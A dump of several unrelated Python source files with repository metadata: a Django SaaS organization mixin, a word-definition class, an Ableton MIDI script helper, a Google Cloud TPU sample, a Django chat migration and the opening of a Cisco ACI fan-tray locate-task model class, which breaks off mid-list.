# Copyright (c) 2018, DjaoDjin inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from __future__ import unicode_literals from collections import OrderedDict from django.http import Http404 from django.shortcuts import get_object_or_404 from django.utils import six from django.utils.translation import ugettext_lazy as _ # Implementation Note: # # saas.settings cannot be imported at this point because this file will # be imported before ``django.conf.settings`` is fully initialized. from .compat import NoReverseMatch, is_authenticated, reverse from .utils import get_organization_model class OrganizationMixinBase(object): """ Returns an ``Organization`` from a URL. """ organization_url_kwarg = 'organization' def get_organization(self): return get_object_or_404(get_organization_model(), slug=self.kwargs.get(self.organization_url_kwarg)) def get_url_kwargs(self): """ Rebuilds the ``kwargs`` to pass to ``reverse()``. """ url_kwargs = {} if 'organization' in self.kwargs: url_kwargs.update({'organization': self.kwargs['organization']}) return url_kwargs def get_context_data(self, **kwargs): context = super(OrganizationMixinBase, self).get_context_data(**kwargs) organization = self.organization if not organization: # If we don't even have a broker/provider for a site. raise Http404( _("It seems a broker was not defined, or defined incorrectly.")) context.update({'organization': organization}) # XXX These might be moved to a higher-level urls = { 'api_cart': reverse('saas_api_cart'), 'api_redeem': reverse('saas_api_redeem_coupon'), 'organization_create': reverse('saas_organization_create') } # URLs for both sides (subscriber and provider). urls.update({'organization': { 'api_base': reverse('saas_api_organization', args=(organization,)), 'api_card': reverse('saas_api_card', args=(organization,)), 'api_profile_base': reverse('saas_api_profile'), 'api_subscriptions': reverse( 'saas_api_subscription_list', args=(organization,)), 'billing_base': reverse('saas_billing_base'), 'profile_base': reverse('saas_profile'), 'profile': reverse( 'saas_organization_profile', args=(organization,)), 'billing': reverse('saas_billing_info', args=(organization,)), 'subscriptions': reverse( 'saas_subscription_list', args=(organization,)), }}) # The following `attached_user` will trigger a db query # even when `request.user` is anonymous. if organization.attached_user(): try: urls['organization'].update({ 'password_change': reverse( 'password_change', args=(organization,))}) except NoReverseMatch: # With django.contrib.auth we cannot trigger password_change # for a different user than the one associated to the request. # It is OK. We will just not resolve the link. pass else: urls['organization']['roles'] = OrderedDict() for role_descr in organization.get_role_descriptions(): urls['organization']['roles'].update({ role_descr.title: reverse('saas_role_detail', args=(organization, role_descr.slug)), }) if (organization.is_provider and is_authenticated(self.request) and organization.accessible_by(self.request.user)): provider = organization urls.update({'provider': { 'api_bank': reverse('saas_api_bank', args=(provider,)), 'api_coupons': reverse( 'saas_api_coupon_list', args=(provider,)), 'api_metrics_plans': reverse( 'saas_api_metrics_plans', args=(provider,)), 'api_plans': reverse('saas_api_plans', args=(provider,)), 'api_receivables': reverse( 'saas_api_receivables', args=(provider,)), 'api_subscribers_active': reverse( 'saas_api_subscribed', args=(provider,)), 'api_subscribers_churned': reverse( 'saas_api_churned', args=(provider,)), 'coupons': reverse('saas_coupon_list', args=(provider,)), 'dashboard': reverse('saas_dashboard', args=(provider,)), 'metrics_coupons': reverse( 'saas_metrics_coupons', args=(provider,)), 'metrics_plans': reverse( 'saas_metrics_plans', args=(provider,)), 'metrics_sales': reverse( 'saas_metrics_summary', args=(provider,)), 'profile': reverse('saas_provider_profile'), 'subscribers': reverse( 'saas_subscriber_list', args=(provider,)), 'transfers': reverse( 'saas_transfer_info', args=(provider,)), }}) # These might lead to 403 if provider is not broker. urls.update({'broker': { 'api_users': reverse('saas_api_users'), 'api_users_registered': reverse('saas_api_registered'), 'charges': reverse('saas_charges'), }}) if is_authenticated(self.request): urls.update({'profiles': [{ 'location': reverse('saas_organization_profile', args=(account,)), 'printable_name': account.printable_name} for account in get_organization_model().objects.accessible_by( self.request.user)]}) self.update_context_urls(context, urls) return context @staticmethod def update_context_urls(context, urls): if 'urls' in context: for key, val in six.iteritems(urls): if key in context['urls']: if isinstance(val, dict): context['urls'][key].update(val) else: # Because organization_create url is added in this mixin # and in ``OrganizationRedirectView``. context['urls'][key] = val else: context['urls'].update({key: val}) else: context.update({'urls': urls}) return context @property def organization(self): if not hasattr(self, '_organization'): self._organization = self.get_organization() return self._organization
1ea2461bb4d5cd62ba56ea2998b7e61b0495fbf9
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/otherforms/_ascertained.py
caf37433ed7e596dded7a9c9ce0ed0c6cfe4047d
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
236
py
#calss header class _ASCERTAINED(): def __init__(self,): self.name = "ASCERTAINED" self.definitions = ascertain self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.basic = ['ascertain']
aa8483d7801ccd73022481b46b35195378df86cd
72d010d00355fc977a291c29eb18aeb385b8a9b0
/Roland_FA/control_element_utils.py
7c3b09249e0be193508803db7452627c39577661
[]
no_license
maratbakirov/AbletonLive10_MIDIRemoteScripts
bf0749c5c4cce8e83b23f14f671e52752702539d
ed1174d9959b20ed05fb099f0461bbc006bfbb79
refs/heads/master
2021-06-16T19:58:34.038163
2021-05-09T11:46:46
2021-05-09T11:46:46
203,174,328
0
0
null
2019-08-19T13:04:23
2019-08-19T13:04:22
null
UTF-8
Python
false
false
740
py
# Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/Roland_FA/control_element_utils.py # Compiled at: 2018-04-23 20:27:04 from __future__ import absolute_import, print_function, unicode_literals import Live from ableton.v2.base import depends from ableton.v2.control_surface import MIDI_CC_TYPE from ableton.v2.control_surface.elements import ButtonElement, EncoderElement @depends(skin=None) def make_button(identifier, name, msg_type=MIDI_CC_TYPE, skin=None): return ButtonElement(True, msg_type, 0, identifier, name=name, skin=skin) def make_encoder(identifier, name): return EncoderElement(MIDI_CC_TYPE, 0, identifier, Live.MidiMap.MapMode.absolute, name=name)
8e4d244cc7b9ead7983a37336328ed8efb8412b5
5da5473ff3026165a47f98744bac82903cf008e0
/packages/google-cloud-tpu/samples/generated_samples/tpu_v2_generated_tpu_list_runtime_versions_async.py
42f6f965e84337949ebd142d31417dfbf72bbabb
[ "Apache-2.0" ]
permissive
googleapis/google-cloud-python
ed61a5f03a476ab6053870f4da7bc5534e25558b
93c4e63408c65129422f65217325f4e7d41f7edf
refs/heads/main
2023-09-04T09:09:07.852632
2023-08-31T22:49:26
2023-08-31T22:49:26
16,316,451
2,792
917
Apache-2.0
2023-09-14T21:45:18
2014-01-28T15:51:47
Python
UTF-8
Python
false
false
1,873
py
# -*- coding: utf-8 -*- # Copyright 2023 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Generated code. DO NOT EDIT! # # Snippet for ListRuntimeVersions # NOTE: This snippet has been automatically generated for illustrative purposes only. # It may require modifications to work in your environment. # To install the latest published package dependency, execute the following: # python3 -m pip install google-cloud-tpu # [START tpu_v2_generated_Tpu_ListRuntimeVersions_async] # This snippet has been automatically generated and should be regarded as a # code template only. # It will require modifications to work: # - It may require correct/in-range values for request initialization. # - It may require specifying regional endpoints when creating the service # client as shown in: # https://googleapis.dev/python/google-api-core/latest/client_options.html from google.cloud import tpu_v2 async def sample_list_runtime_versions(): # Create a client client = tpu_v2.TpuAsyncClient() # Initialize request argument(s) request = tpu_v2.ListRuntimeVersionsRequest( parent="parent_value", ) # Make the request page_result = client.list_runtime_versions(request=request) # Handle the response async for response in page_result: print(response) # [END tpu_v2_generated_Tpu_ListRuntimeVersions_async]
8a90740da74279846df059f6cdd3bf485bfdf13b
5f6160cc922fee51c89eb066adf396183e52279f
/backend/chat/migrations/0001_initial.py
8b828e045ffc83f7861521d66676f4b3e4a2b8db
[]
no_license
crowdbotics-apps/pira-21713
884fabf88e6c08891895c3ba1f214174b8ca46c1
df0f7b9c18ff9be6ec1cc9e79fb987a49c684353
refs/heads/master
2023-02-24T05:51:16.466832
2021-01-29T21:51:37
2021-01-29T21:51:37
305,415,668
0
0
null
null
null
null
UTF-8
Python
false
false
4,805
py
# Generated by Django 2.2.16 on 2020-10-19 14:49 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('chat_user_profile', '0001_initial'), ] operations = [ migrations.CreateModel( name='Message', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('message', models.TextField()), ('attachment', models.URLField()), ('is_draft', models.BooleanField()), ('is_delivered', models.BooleanField()), ('is_read', models.BooleanField()), ('timestamp_created', models.DateTimeField(auto_now_add=True)), ('timestamp_delivered', models.DateTimeField()), ('timestamp_read', models.DateTimeField()), ], ), migrations.CreateModel( name='Thread', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('thread_photo', models.URLField()), ('timestamp_created', models.DateTimeField(auto_now_add=True)), ], ), migrations.CreateModel( name='ThreadMember', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('is_admin', models.BooleanField()), ('timestamp_joined', models.DateTimeField(auto_now_add=True)), ('timestamp_left', models.DateTimeField()), ('last_rejoined', models.DateTimeField()), ('profile', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='threadmember_profile', to='chat_user_profile.Profile')), ('thread', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='threadmember_thread', to='chat.Thread')), ], ), migrations.CreateModel( name='ThreadAction', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('action', models.CharField(max_length=7)), ('timestamp_action', models.DateTimeField(auto_now_add=True)), ('profile', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='threadaction_profile', to='chat_user_profile.Profile')), ('thread', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='threadaction_thread', to='chat.Thread')), ], ), migrations.CreateModel( name='MessageAction', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('action', models.CharField(max_length=7)), ('timestamp_action', models.DateTimeField(auto_now_add=True)), ('message', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='messageaction_message', to='chat.Message')), ('profile', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='messageaction_profile', to='chat_user_profile.Profile')), ], ), migrations.AddField( model_name='message', name='sent_by', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='message_sent_by', to='chat.ThreadMember'), ), migrations.AddField( model_name='message', name='thread', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='message_thread', to='chat.Thread'), ), migrations.CreateModel( name='ForwardedMessage', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('timestamp_forwarded', models.DateTimeField(auto_now_add=True)), ('forwarded_by', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='forwardedmessage_forwarded_by', to='chat_user_profile.Profile')), ('forwarded_to', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='forwardedmessage_forwarded_to', to='chat.Thread')), ('message', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='forwardedmessage_message', to='chat.Message')), ], ), ]
44c3c26e151e0b6ede67bf415abfa2306d4e00b7
f4b60f5e49baf60976987946c20a8ebca4880602
/lib64/python2.7/site-packages/acimodel-1.3_2j-py2.7.egg/cobra/modelimpl/eqpt/ftlocateltask.py
d2a8a136af9c5e4d291611bc82b05c57d57081d5
[]
no_license
cqbomb/qytang_aci
12e508d54d9f774b537c33563762e694783d6ba8
a7fab9d6cda7fadcc995672e55c0ef7e7187696e
refs/heads/master
2022-12-21T13:30:05.240231
2018-12-04T01:46:53
2018-12-04T01:46:53
159,911,666
0
0
null
2022-12-07T23:53:02
2018-12-01T05:17:50
Python
UTF-8
Python
false
false
398,366
py
# coding=UTF-8 # ********************************************************************** # Copyright (c) 2013-2016 Cisco Systems, Inc. All rights reserved # written by zen warriors, do not modify! # ********************************************************************** from cobra.mit.meta import ClassMeta from cobra.mit.meta import StatsClassMeta from cobra.mit.meta import CounterMeta from cobra.mit.meta import PropMeta from cobra.mit.meta import Category from cobra.mit.meta import SourceRelationMeta from cobra.mit.meta import NamedSourceRelationMeta from cobra.mit.meta import TargetRelationMeta from cobra.mit.meta import DeploymentPathMeta, DeploymentCategory from cobra.model.category import MoCategory, PropCategory, CounterCategory from cobra.mit.mo import Mo # ################################################## class FtLocateLTask(Mo): """ A task to locate a fan tray. """ meta = ClassMeta("cobra.model.eqpt.FtLocateLTask") meta.moClassName = "eqptFtLocateLTask" meta.rnFormat = "eqptFtLocateLTask" meta.category = MoCategory.REGULAR meta.label = "None" meta.writeAccessMask = 0x1 meta.readAccessMask = 0x1 meta.isDomainable = False meta.isReadOnly = False meta.isConfigurable = True meta.isDeletable = True meta.isContextRoot = False meta.parentClasses.add("cobra.model.action.LSubj") meta.superClasses.add("cobra.model.task.Exec") meta.superClasses.add("cobra.model.pol.ComplElem") meta.superClasses.add("cobra.model.action.LInst") meta.superClasses.add("cobra.model.action.Inst") meta.rnPrefixes = [ ('eqptFtLocateLTask', False), ] prop = PropMeta("str", "adminSt", "adminSt", 56, PropCategory.REGULAR) prop.label = "Admin State" prop.isConfig = True prop.isAdmin = True prop.defaultValue = 0 prop.defaultValueStr = "unknown" prop._addConstant("prepare", "prepare", 4) prop._addConstant("start", "start", 1) prop._addConstant("stop", "stop", 2) prop._addConstant("suspend", "suspend", 3) prop._addConstant("unknown", "unknown", 0) meta.props.add("adminSt", prop) prop = PropMeta("str", "childAction", "childAction", 4, PropCategory.CHILD_ACTION) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop._addConstant("deleteAll", "deleteall", 16384) prop._addConstant("deleteNonPresent", "deletenonpresent", 8192) prop._addConstant("ignore", "ignore", 4096) meta.props.add("childAction", prop) prop = PropMeta("str", "descr", "descr", 39, PropCategory.REGULAR) prop.label = "Description" prop.isConfig = True prop.isAdmin = True prop.range = [(0, 128)] prop.regex = ['[a-zA-Z0-9\\!#$%()*,-./:;@ _{|}~?&+]+'] meta.props.add("descr", prop) prop = PropMeta("str", "dn", "dn", 1, PropCategory.DN) prop.label = "None" prop.isDn = True prop.isImplicit = True prop.isAdmin = True prop.isCreateOnly = True meta.props.add("dn", prop) prop = PropMeta("str", "freq", "freq", 57, PropCategory.REGULAR) prop.label = "Task Frequency" prop.isConfig = True prop.isAdmin = True prop._addConstant("one-shot", "one-shot", 0) meta.props.add("freq", prop) prop = PropMeta("str", "lcOwn", "lcOwn", 9, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop.defaultValue = 0 prop.defaultValueStr = "local" prop._addConstant("implicit", "implicit", 4) prop._addConstant("local", "local", 0) prop._addConstant("policy", "policy", 1) prop._addConstant("replica", "replica", 2) prop._addConstant("resolveOnBehalf", "resolvedonbehalf", 3) meta.props.add("lcOwn", prop) prop = PropMeta("str", "modTs", "modTs", 7, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop.defaultValue = 0 prop.defaultValueStr = "never" prop._addConstant("never", "never", 0) meta.props.add("modTs", prop) prop = PropMeta("str", "peerClassId", "peerClassId", 5528, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop.defaultValue = 5004 prop.defaultValueStr = "eqptFtLocateRslt" prop._addConstant("aaaADomainRef", None, 5293) prop._addConstant("aaaADomainRefTask", None, 5477) prop._addConstant("aaaAProvider", None, 1600) prop._addConstant("aaaARbacRule", None, 5474) prop._addConstant("aaaARetP", None, 1567) prop._addConstant("aaaAuthMethod", None, 1589) prop._addConstant("aaaAuthRealm", None, 1594) prop._addConstant("aaaBanner", None, 1493) prop._addConstant("aaaChangePassword", None, 1506) prop._addConstant("aaaChangeSshKey", None, 1507) prop._addConstant("aaaChangeX509Cert", None, 1508) prop._addConstant("aaaConfig", None, 1588) prop._addConstant("aaaConsoleAuth", None, 1591) prop._addConstant("aaaCtrlrRetP", None, 1569) prop._addConstant("aaaDefaultAuth", None, 1590) prop._addConstant("aaaDefinition", None, 1488) prop._addConstant("aaaDomain", None, 1502) prop._addConstant("aaaDomainAuth", None, 1592) prop._addConstant("aaaDomainRef", None, 1562) prop._addConstant("aaaDomainRolesTuple", None, 1505) prop._addConstant("aaaEp", None, 1595) prop._addConstant("aaaFabricNodeRelnHolder", None, 5650) prop._addConstant("aaaFactoryRole", None, 5911) prop._addConstant("aaaIDomainRef", None, 5294) prop._addConstant("aaaIDomainRefTask", None, 5717) prop._addConstant("aaaIPRbacRule", None, 6800) prop._addConstant("aaaIRbacRule", None, 5476) prop._addConstant("aaaKeyringRelnHolder", None, 5556) prop._addConstant("aaaLdapEp", None, 1597) prop._addConstant("aaaLdapProvider", None, 1606) prop._addConstant("aaaLdapProviderGroup", None, 1609) prop._addConstant("aaaLoginDomain", None, 1593) prop._addConstant("aaaModLR", None, 1565) prop._addConstant("aaaPartialRbacRule", None, 6801) prop._addConstant("aaaPartialRbacRuleTask", None, 6842) prop._addConstant("aaaPreLoginBanner", None, 1494) prop._addConstant("aaaProviderGroup", None, 1608) prop._addConstant("aaaProviderRef", None, 1612) prop._addConstant("aaaPwdProfile", None, 1503) prop._addConstant("aaaRadiusEp", None, 1596) prop._addConstant("aaaRadiusProvider", None, 1605) prop._addConstant("aaaRadiusProviderGroup", None, 1610) prop._addConstant("aaaRbacEp", None, 5473) prop._addConstant("aaaRbacEpRelnHolder", None, 5470) prop._addConstant("aaaRbacRule", None, 5475) prop._addConstant("aaaRealm", None, 1587) prop._addConstant("aaaRemoteUser", None, 1495) prop._addConstant("aaaRole", None, 1500) prop._addConstant("aaaRsCertificateEp", None, 7605) prop._addConstant("aaaRsDomainRef", None, 1533) prop._addConstant("aaaRsFvEppInband", None, 1522) prop._addConstant("aaaRsFvEppOob", None, 1526) prop._addConstant("aaaRsKeyringRef", None, 5557) prop._addConstant("aaaRsLoginDomain", None, 1537) prop._addConstant("aaaRsNginxFabricNode", None, 5651) prop._addConstant("aaaRsNginxIPRbacRule", None, 6798) prop._addConstant("aaaRsNginxIRbacRule", None, 6796) prop._addConstant("aaaRsNginxRbacRule", None, 6794) prop._addConstant("aaaRsPol", None, 1529) prop._addConstant("aaaRsPreLoginBanner", None, 1541) prop._addConstant("aaaRsProvToEpp", None, 8685) prop._addConstant("aaaRsRbacEp", None, 5471) prop._addConstant("aaaRsSecProvToEpg", None, 1603) prop._addConstant("aaaRsToUserEp", None, 7478) prop._addConstant("aaaRsUserEp", None, 1518) prop._addConstant("aaaRtAaaCtrlrRetP", None, 1571) prop._addConstant("aaaRtDomainRef", None, 1535) prop._addConstant("aaaRtLSubjToDomainRef", None, 5571) prop._addConstant("aaaRtLoginDomain", None, 1538) prop._addConstant("aaaRtNginxIPRbacRule", None, 6799) prop._addConstant("aaaRtNginxIRbacRule", None, 6797) prop._addConstant("aaaRtNginxRbacRule", None, 6795) prop._addConstant("aaaRtNodeAaaRecRetP", None, 1730) prop._addConstant("aaaRtPreLoginBanner", None, 1542) prop._addConstant("aaaRtRbacEp", None, 5472) prop._addConstant("aaaRtResAuditSwRetP", None, 764) prop._addConstant("aaaRtResAuthRealm", None, 779) prop._addConstant("aaaRtResLdapEp", None, 775) prop._addConstant("aaaRtResRadiusEp", None, 773) prop._addConstant("aaaRtResTacacsPlusEp", None, 777) prop._addConstant("aaaRtResUserEp", None, 781) prop._addConstant("aaaRtScriptHandlerStateToDomainRef", None, 5323) prop._addConstant("aaaRtSessionToDomainRef", None, 5634) prop._addConstant("aaaRtTenantToDomainRef", None, 5561) prop._addConstant("aaaRtToUserEp", None, 7479) prop._addConstant("aaaRtUserEp", None, 1520) prop._addConstant("aaaRtVDevDomainRefContToDomainRef", None, 6072) prop._addConstant("aaaRtVDevToDomainRef", None, 5296) prop._addConstant("aaaSSLCertificateEpRelnHolder", None, 7604) prop._addConstant("aaaSecRelnHolder", None, 1515) prop._addConstant("aaaSessionLR", None, 1566) prop._addConstant("aaaSshAuth", None, 1497) prop._addConstant("aaaSwRetP", None, 1568) prop._addConstant("aaaSystemUser", None, 1492) prop._addConstant("aaaTacacsPlusEp", None, 1598) prop._addConstant("aaaTacacsPlusProvider", None, 1607) prop._addConstant("aaaTacacsPlusProviderGroup", None, 1611) prop._addConstant("aaaUser", None, 1496) prop._addConstant("aaaUserAction", None, 1564) prop._addConstant("aaaUserCert", None, 1498) prop._addConstant("aaaUserData", None, 1504) prop._addConstant("aaaUserDomain", None, 1501) prop._addConstant("aaaUserEp", None, 1491) prop._addConstant("aaaUserRole", None, 1499) prop._addConstant("aaaUserTask", None, 5064) prop._addConstant("aaaVMMCertificateRule", None, 7446) prop._addConstant("acBank", None, 2522) prop._addConstant("acEgrHit", None, 2517) prop._addConstant("acEntity", None, 2523) prop._addConstant("acIngrHit", None, 2516) prop._addConstant("acRule", None, 2518) prop._addConstant("acRuleArp", None, 2521) prop._addConstant("acRuleIp", None, 2519) prop._addConstant("acRuleMac", None, 2520) prop._addConstant("acllogCont", None, 8592) prop._addConstant("acllogCtx", None, 8594) prop._addConstant("acllogDropL2Flow", None, 8605) prop._addConstant("acllogDropL2Pkt", None, 8609) prop._addConstant("acllogDropL2Record", None, 8598) prop._addConstant("acllogDropL3Flow", None, 8603) prop._addConstant("acllogDropL3Pkt", None, 8607) prop._addConstant("acllogDropL3Record", None, 8599) prop._addConstant("acllogDropRecord", None, 8596) prop._addConstant("acllogFlowCounter", None, 8610) prop._addConstant("acllogFlowCounter15min", None, 8614) prop._addConstant("acllogFlowCounter1d", None, 8618) prop._addConstant("acllogFlowCounter1h", None, 8616) prop._addConstant("acllogFlowCounter1mo", None, 8622) prop._addConstant("acllogFlowCounter1qtr", None, 8624) prop._addConstant("acllogFlowCounter1w", None, 8620) prop._addConstant("acllogFlowCounter1year", None, 8626) prop._addConstant("acllogFlowCounter5min", None, 8612) prop._addConstant("acllogFlowCounterAg", None, 8628) prop._addConstant("acllogFlowCounterAg15min", None, 8632) prop._addConstant("acllogFlowCounterAg1d", None, 8636) prop._addConstant("acllogFlowCounterAg1h", None, 8634) prop._addConstant("acllogFlowCounterAg1mo", None, 8640) prop._addConstant("acllogFlowCounterAg1qtr", None, 8642) prop._addConstant("acllogFlowCounterAg1w", None, 8638) prop._addConstant("acllogFlowCounterAg1year", None, 8644) prop._addConstant("acllogFlowCounterAg5min", None, 8630) prop._addConstant("acllogFlowCounterAgHist", None, 8629) prop._addConstant("acllogFlowCounterAgHist15min", None, 8633) prop._addConstant("acllogFlowCounterAgHist1d", None, 8637) prop._addConstant("acllogFlowCounterAgHist1h", None, 8635) prop._addConstant("acllogFlowCounterAgHist1mo", None, 8641) prop._addConstant("acllogFlowCounterAgHist1qtr", None, 8643) prop._addConstant("acllogFlowCounterAgHist1w", None, 8639) prop._addConstant("acllogFlowCounterAgHist1year", None, 8645) prop._addConstant("acllogFlowCounterAgHist5min", None, 8631) prop._addConstant("acllogFlowCounterHist", None, 8611) prop._addConstant("acllogFlowCounterHist15min", None, 8615) prop._addConstant("acllogFlowCounterHist1d", None, 8619) prop._addConstant("acllogFlowCounterHist1h", None, 8617) prop._addConstant("acllogFlowCounterHist1mo", None, 8623) prop._addConstant("acllogFlowCounterHist1qtr", None, 8625) prop._addConstant("acllogFlowCounterHist1w", None, 8621) prop._addConstant("acllogFlowCounterHist1year", None, 8627) prop._addConstant("acllogFlowCounterHist5min", None, 8613) prop._addConstant("acllogPermitL2Flow", None, 8604) prop._addConstant("acllogPermitL2Pkt", None, 8608) prop._addConstant("acllogPermitL2Record", None, 8600) prop._addConstant("acllogPermitL3Flow", None, 8602) prop._addConstant("acllogPermitL3Pkt", None, 8606) prop._addConstant("acllogPermitL3Record", None, 8601) prop._addConstant("acllogPermitRecord", None, 8597) prop._addConstant("acllogRecord", None, 8595) prop._addConstant("acllogTenant", None, 8593) prop._addConstant("actionACont", None, 20) prop._addConstant("actionAeSubj", None, 63) prop._addConstant("actionAppliancedirectorSubj", None, 72) prop._addConstant("actionBootmgrSubj", None, 71) prop._addConstant("actionConfelemSubj", None, 5210) prop._addConstant("actionCont", None, 21) prop._addConstant("actionDbgrSubj", None, 66) prop._addConstant("actionDbgrelemSubj", None, 68) prop._addConstant("actionDhcpdSubj", None, 74) prop._addConstant("actionEventmgrSubj", None, 59) prop._addConstant("actionExtXMLApiSubj", None, 60) prop._addConstant("actionIdmgrSubj", None, 76) prop._addConstant("actionInst", None, 26) prop._addConstant("actionLCont", None, 22) prop._addConstant("actionLInst", None, 27) prop._addConstant("actionLSubj", None, 25) prop._addConstant("actionMoContext", None, 23) prop._addConstant("actionNxosmockSubj", None, 70) prop._addConstant("actionObserverSubj", None, 65) prop._addConstant("actionObserverelemSubj", None, 67) prop._addConstant("actionOpflexelemSubj", None, 79) prop._addConstant("actionOpflexpSubj", None, 7491) prop._addConstant("actionOshSubj", None, 78) prop._addConstant("actionOspaelemSubj", None, 77) prop._addConstant("actionPolicyelemSubj", None, 61) prop._addConstant("actionPolicymgrSubj", None, 62) prop._addConstant("actionRInst", None, 28) prop._addConstant("actionRsLSubjToDomainRef", None, 5570) prop._addConstant("actionScripthandlerSubj", None, 75) prop._addConstant("actionSnmpdSubj", None, 6898) prop._addConstant("actionSubj", None, 24) prop._addConstant("actionTopomgrSubj", None, 64) prop._addConstant("actionVleafelemSubj", None, 73) prop._addConstant("actionVmmmgrSubj", None, 69) prop._addConstant("actionVtapSubj", None, 5596) prop._addConstant("actrlARule", None, 2474) prop._addConstant("actrlAuxEntry", None, 2467) prop._addConstant("actrlAuxFlt", None, 2466) prop._addConstant("actrlAuxRule", None, 2465) prop._addConstant("actrlAuxScope", None, 2464) prop._addConstant("actrlAuxSt", None, 2463) prop._addConstant("actrlEntity", None, 2485) prop._addConstant("actrlEntry", None, 2493) prop._addConstant("actrlFlt", None, 2490) prop._addConstant("actrlInst", None, 2486) prop._addConstant("actrlMgmtAuxFlt", None, 2469) prop._addConstant("actrlMgmtAuxRule", None, 2468) prop._addConstant("actrlMgmtRule", None, 2483) prop._addConstant("actrlPfxEntry", None, 2470) prop._addConstant("actrlRsAuxRule", None, 2479) prop._addConstant("actrlRsRfltpConn", None, 2491) prop._addConstant("actrlRsTenConn", None, 2488) prop._addConstant("actrlRsToEpgConn", None, 2475) prop._addConstant("actrlRsToEpgProt", None, 5291) prop._addConstant("actrlRsToStsVNode", None, 2477) prop._addConstant("actrlRsToVlanCkt", None, 9081) prop._addConstant("actrlRtAuxRule", None, 2480) prop._addConstant("actrlRule", None, 2481) prop._addConstant("actrlRuleHit", None, 2408) prop._addConstant("actrlRuleHit15min", None, 2420) prop._addConstant("actrlRuleHit1d", None, 2432) prop._addConstant("actrlRuleHit1h", None, 2426) prop._addConstant("actrlRuleHit1mo", None, 2444) prop._addConstant("actrlRuleHit1qtr", None, 2450) prop._addConstant("actrlRuleHit1w", None, 2438) prop._addConstant("actrlRuleHit1year", None, 2456) prop._addConstant("actrlRuleHit5min", None, 2414) prop._addConstant("actrlRuleHitAg", None, 2412) prop._addConstant("actrlRuleHitAg15min", None, 2424) prop._addConstant("actrlRuleHitAg1d", None, 2436) prop._addConstant("actrlRuleHitAg1h", None, 2430) prop._addConstant("actrlRuleHitAg1mo", None, 2448) prop._addConstant("actrlRuleHitAg1qtr", None, 2454) prop._addConstant("actrlRuleHitAg1w", None, 2442) prop._addConstant("actrlRuleHitAg1year", None, 2460) prop._addConstant("actrlRuleHitAg5min", None, 2418) prop._addConstant("actrlRuleHitAgHist", None, 2413) prop._addConstant("actrlRuleHitAgHist15min", None, 2425) prop._addConstant("actrlRuleHitAgHist1d", None, 2437) prop._addConstant("actrlRuleHitAgHist1h", None, 2431) prop._addConstant("actrlRuleHitAgHist1mo", None, 2449) prop._addConstant("actrlRuleHitAgHist1qtr", None, 2455) prop._addConstant("actrlRuleHitAgHist1w", None, 2443) prop._addConstant("actrlRuleHitAgHist1year", None, 2461) prop._addConstant("actrlRuleHitAgHist5min", None, 2419) prop._addConstant("actrlRuleHitHist", None, 2409) prop._addConstant("actrlRuleHitHist15min", 